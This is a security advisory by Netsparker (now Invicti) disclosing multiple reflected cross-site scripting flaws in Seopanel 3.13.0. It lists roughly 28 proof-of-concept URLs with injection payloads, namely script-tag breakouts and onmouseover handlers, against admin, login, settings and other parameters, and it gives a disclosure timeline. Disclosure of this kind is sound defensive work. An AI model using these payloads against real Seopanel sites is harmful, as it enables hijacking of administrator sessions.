Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting Vulnerabilities in Seopanel
Affected Software: Seopanel
Affected Versions: 3.13.0
Homepage: https://www.seopanel.in
Vulnerability: Multiple Reflected Cross-site Scripting Vulnerabilities
Severity: Medium
Status: Fixed
CVSS Score (3.0): 6.3
Invicti Advisory Reference: NS-18-022

Technical Details
--------------------

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=show&nsparameter=aa');alert(1)//
Paremeter Name: nsparameter
Parameter Type: GET
Attack Pattern: aa');alert(1)//

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?%27%2balert(0x00BCA2)%2b%27
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%2balert(0x00BCA2)%2b%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=http%3A%2F%2F&title=%27%252Balert(9)%252B%27&description=&keywords=
Parameter Name: title
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=%2527%2522--%253E%253C%252Fstyle%253E%253C%252FscRipt%253E%253CscRipt%253Ealert%25280x00B7E7%2529%253C%252FscRipt%253E&userid=1&name=&url=http%3A%2F%2F&title=&description=&keywords=
Parameter Name: sec
Parameter Type: GET
Attack Pattern: %2527%2522--%253E%253C%252Fstyle%253E%253C%252FscRipt%253E%253CscRipt%253Ealert%25280x00B7E7%2529%253C%252FscRipt%253E

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?search_name=Smith&userid=1&stscheck=3&nsextt=%27%252Balert(9)%252B%27
Parameter Name: nsextt
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=http%3A%2F%2F&title=&description=&keywords=%27%252Balert(9)%252B%27&search_name=&stscheck=select
Parameter Name: keyword
Parameter Type: GET
Attack Pattern:  %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=%27%252Balert(9)%252B%27&url=http%3A%2F%2F&title=&description=&keywords=&search_name=&stscheck=select
Parameter Name: name
Parameter Type: GET
Attack Pattern:  %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=http%3A%2F%2F&title=&description=&keywords=&search_name=%27%252Balert(9)%252B%27&stscheck=select
Parameter Name: search_name
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?search_name=Smith&userid=1&stscheck=3&%27%2balert(0x0105C0)%2b%27=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%2balert(0x0105C0)%2b%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?menu_selected=themes-manager&start_script=%27%252Balert(9)%252B%27&sec=activate&theme_id=2&pageno=
Parameter Name: start_script
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?search_name=Smith&userid=%27%252Balert(9)%252B%27&stscheck=3
Parameter Name: userid
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=%27%252Balert(9)%252B%27&title=&description=&keywords=
Parameter Name: url
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?search_name=Smith&userid=1&stscheck=%27%252Balert(9)%252B%27
Parameter Name: stscheck
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?menu_selected=themes-manager&start_script=themes-manager&sec=activate&theme_id=2&pageno=%27%252Balert(9)%252B%27
Parameter Name: pageno
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=http%3A%2F%2F&title=&description=%27%252Balert(9)%252B%27&keywords=
Parameter Name: description
Parameter Type: GET
Attack Pattern:  %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?menu_selected=themes-manager&start_script=themes-manager&sec=activate&theme_id=%27%252Balert(9)%252B%27&pageno=
Parameter Name: theme_id
Parameter Type: GET
Attack Pattern:  %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/directories.php?sec=directorymgr&dir_name=&stscheck=1&capcheck=x%22%20onmouseover%3dalert(0x00BAF1)%20x%3d%22&pagerank=&langcode=
Parameter Name:  capcheck
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x00BAF1)%20x%3d%22

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/seo-plugins-manager.php?sec=listinfo&pid=1&pageno=x%22%20onmouseover%3dalert(0x00EC00)%20x%3d%22
Parameter Name: pageno
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x00EC00)%20x%3d%22

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/settings.php?category=x%22%20onmouseover%3dalert(0x00B43C)%20x%3d%22
Parameter Name: category
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x00B43C)%20x%3d%22

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/themes-manager.php?sec=activate&theme_id=2&pageno=%27%2balert(0x018E52)%2b%27
Parameter Name: pageno
Parameter Type: GET
Attack Pattern: %27%2balert(0x018E52)%2b%27

URL:  http://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?sec=forgot
Parameter Name: search_name
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x00497F)+x%3d%22

URL:  http://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?sec=forgot
Parameter Name: report_type
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x00497F)+x%3d%22

URL: http://testcases-vdb.ns.local:8081/seopanel/seopanel-3.13.0/?'"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: '"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/index.php?'"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern:  '"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?sec=forgot
Parameter Name: code
Parameter Type: POST
Attack Patern: x%22+onmouseover%3dnetsparker(0x00497F)+x%3d%22

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?'"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: '"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>

URL:  http://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?sec=forgot
Parameter Name: email
Parameter Type: POST
Attack Patern: x%22+onmouseover%3dnetsparker(0x00497F)+x%3d%22

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/support.php?'"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: '"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

28th June 2018- First Contact
13th September 2018 - Vendor Fixed
30th November 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti
--------------------

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.